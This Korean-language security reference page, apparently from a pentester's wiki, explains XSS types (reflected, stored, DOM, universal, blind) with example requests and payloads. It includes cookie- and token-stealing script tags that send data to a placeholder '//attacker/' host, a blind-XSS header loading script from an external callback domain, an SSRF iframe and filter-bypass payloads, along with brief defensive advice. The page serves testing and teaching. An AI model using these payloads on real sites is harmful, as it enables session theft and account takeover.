XSS (Cross-Site Scripting)

🔍 Introduction

XSS는 Cross-Site Scripting의 약자로 웹 서비스에 Javascript 등 스크립트를 실행할 수 있는 코드를 삽입하여 다른 사용자 등에게 공격자가 의도한 스크립트를 실행하게 하는 공격 방법입니다. OWASP TOP10에도 매번 포함될 만큼 아주 전통적인 공격 방법이지만 현재까지 자주 발생하는 취약점으로 웹 해킹을 대표하는 공격이라고 생각합니다.

XSS는 크게 Reflected/Stored/DOM 3가지의 타입으로 나누어 볼 수 있습니다. 또한 제한된 환경에서 불특정 도메인을 대상으로 영향을 줄 수 있는 Univeral XSS도 하나의 타입으로 보고 있습니다.

Reflected XSS (Non-persistent XSS)

영문 풀이 그대로 비 지속적인 XSS를 의미합니다. 검색, 조회 기능과 같이 사용자로 부터 입력 받은 데이터가 페이지에 반사되어 노출되는 경우, 공격코드가 포함된 URL을 타 사용자에게 전달하는 방식으로 공격을 수행합니다.

Stored XSS (Persistent XSS)

지속적인 XSS를 의미합니다. 보통 Stored XSS로 많이 표현하며 게시글, 사용자 정보 등 한번 저장되면 장기적으로 XSS 공격코드가 웹 서비스에 남아 사용자에게 지속적으로 피해를 줄 수 있는 XSS를 의미합니다. 보통 서비스 기능 상 장기적으로 데이터가 남는 프로필 저장, 게시글 작성, 댓글 작성등의 기능에서 나타나는 경우가 많습니다.

DOM XSS

DOM XSS는 Reflected, Stored XSS와 유사하지만 사용자 입력이 페이지에 직접 반영되는 형태가 아닌, JS 함수등으로 인해 DOM 내부에서 처리되는 중 스크립트가 실행 가능한 XSS를 의미합니다.

UXSS (Universal XSS)

UXSS는 서비스와 관계없이 불특정한 사이트에서 발생 가능한 XSS를 의미합니다. 보통 웹 보다는 모바일 앱, 네이티브 앱에서 발생하며 대표적인 예시로는 Mobile App의 WebView 자체에서 발생하는 XSS로 인해 도메인과 관계없이 정보를 탈취하는 XSS 등이 있습니다.

Blind XSS는 사용자의 XSS 코드 삽입의 결과를 즉각 확인할 수 없는 XSS를 의미합니다. 보통 고객센터, 문의 기능 등 공격자가 전달한 요청이 다른 시스템에서 XSS 코드로 실행되는 경우 XSS가 가능하지만, 공격자는 실행여부를 알 수 없기 때문에 이러한 공격을 Blind XSS 라고 합니다.

Blind XSS 를 탐지하는 방법은 별도의 Callback 서버를 두고 와 같이 스크립트가 callback 서버를 호출하도록 하여 스크립트의 실행 여부를 알 수 있는데, 보통은 Blind XSS의 자세한 실행정보(어떤 IP에서 어떤 페이지에서 실행되었는지 등) 파악을 위해 XSSHunter(https://xsshunter.com)와 같은 도구를 사용합니다.

보통 등의 코드를 각 파라미터, 헤더 등에 삽입해서 체크합니다.

Referer: asd'"><script src="//hahwul.xss.ht"></script>

dalfox에서도 이를 쉽게 체크할 수 있도록 -b (--blind) 옵션을 통해 dalfox가 여러가지 blind xss 패턴을 서비스의 parameter, path, header 등에 삽입하여 트리거를 유도 시킵니다.

$ dalfox url https://google.com?q=1234 -b hahwul.xss.ht

1414 XSSHunter를 통한 트리거 메일

🗡 Offensive techniques

Detect

XSS의 식별은 기본적으로 “사용자의 입력이 서비스에 반영될 수 있는가?” 에서 출발합니다. 사용자의 입력이 페이지에 어떤 형태로라도 반영된다면 기본적으로 XSS의 가능성을 가집니다. 여기서 실제 스크립트를 실행하는데 필요한 특수문자나, 코드 등을 페이지에 반영할 수 있는지 테스트하는 것이 XSS 테스팅의 대다수 작업입니다.

Request

GET /serach?query=asdf"><br>1234 HTTP/1.1

Response

검색 결과는 asdf"><br>1234 입니다.

XSS

GET /serach?query=asdf<svg/onload=alert(45)>1234 HTTP/1.1

Response

검색 결과는 asdf<svg/onload=alert(45)>1234 입니다.

Exploitation

일반적으로 XSS에 대한 검증은 alert() / prompt() / confirm() 으로 페이지에 dialog를 열어 스크립트가 실행될 수 있음을 검증합니다. 다만 iframe 내부에서의 이런 dialog 함수들은 chrome 정책에 의해 차단되기 때문에 print() 등도 검증을 위한 좋은 대안이 됩니다.

XSS가 실제로 공격에 활용되는 부분은 굉장히 다양한데, 간단하게는 사용자의 쿠키/인증토큰 탈취부터 악성코드 감염 유도, CSRF, SOP등의 보안 정책을 벗어난 스크립트 실행, 웹 요청으로 Javascript를 이용해 할 수 있는 모든 기능이 XSS의 영향력이 됩니다.

<script>document.location='//attacker/?c='+document.cookie</script>
<script>document.location='//attacker/?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="//attacker/?c="+document.cookie;</script>
<script>new Image().src="//attacker/?c="+localStorage.getItem('access_token');</script>

Run service functions

XSS 코드는 사용자의 DOM 영역에서 동작하기 떄문에 웹 페이지에서 미리 만들어진 함수들을 사용할 수 있습니다. 예를들어 웹 페이지에 JS코드로 사용자의 토큰을 가져오는 함수가 정의되어 있다고 한다면, XSS 코드 또한 그 코드를 동일하게 사용하여 토큰을 얻을 수 있습니다. 일반적으로 XSS로 부터 cookie를 보호하기 위해 cookie에 HttpOnly 등 보안 설정을 진행하게 되는데, 이 쿠키 정보를 Js 내부에서 가지고 있거나 다른 객체에 저장해두었다면 공격자가 이를 우회하고 쉽게 쿠키에 접근할 수 있게 됩니다.

Bypass SOP

SOP는 Same-Origin-Policy로 동일 도메인에서만 데이터를 처리하고 읽을 수 있도록 제한하는 보안 정책인데, XSS의 경우 서비스의 도메인에서 동작하기 떄문에 이러한 보안 통제가 무력화 됩니다.

SSRF via XSS

XSS 코드가 서버단에서 로드되는 경우가 있습니다. 대표적으로 headless 브라우저를 통해 웹 페이지를 로드하는 경우인데, XSS 코드에서 img, form, iframe 태그나 js 코드를 통해서 내부시스템에 접근을 시도할 수 있습니다.

예를들어 서버에서 XSS가 삽입된 신뢰된 페이지에 headless 브라우저로 접근 해 스크린샷을 찍는다고 한다면..

<iframe style="width:100%; height:100%; position: fixed; top:0; left:0; z-index:9999999" src="//internal.service"></iframe>

BeEF

BeEF(https://beefproject.com)는 Browser Exploitation Framework입니다. XSS 코드가 삽입된 페이지에 접근한 사용자를 Agent 처럼 사용하면서 JS 코드를 실행하거나 공격자가 원하는 동작을 수행하도록 명령을 내릴 수 있습니다.

Self XSS to Exploitable XSS

https://www.hahwul.com/2019/11/02/upgrade-self-xss-to-exploitable-xss/

Bypass protection

Bypass domain check protection

<script src="data://www.trustdomain.hahwul.com, alert(45)"></script>

자세한 내용은 https://www.hahwul.com/2019/03/26/bypass-domain-check-protection-with-data-for-xss/ 을 참고해주세요.

Bypass CSP

https://www.hahwul.com/2019/01/27/csp-bypass-technique-xss/

Bypass DOM XSS Filter

https://www.hahwul.com/2017/10/18/web-hacking-bypass-dom-xss/

Forcing HTTP Redirect XSS

Request

/weak.page?url=ws://www.hahwul.com;"><svg/onload=alert(45)>

Response

HTTP 302 Redirect
Location: ws://www.hahwul.com;"><svg/onload=alert(45)>

<a href="ws://www.hahwul.com;"><svg/onload=alert(45)>"></a>

자세한 내용은 https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/ 을 참고해주세요.

🛡 Defensive techniques

Response 내 사용자의 입력 데이터가 반영되는 모든 구간은 HTML/JS 등을 사용하지 못하도록 특수문자에 대한 필터링이 필요합니다. 보통 < > " ' 4개는 기본적으로 치환 처리하는 것이 좋으며, 서비스 기능에 따라서 공격에 사용되는 문자열이나 이벤트 핸들러 등을 필터링하여 사용하지 못하도록 제한 하는 것이 좋습니다.

🕹 Tools

📚 Articles

https://www.hahwul.com/search/?keyword=XSS
(XSS는 작성한 글이 많아서 검색 링크로 넣었어요. 나중헤 하나하나 추가해둘게요 😭)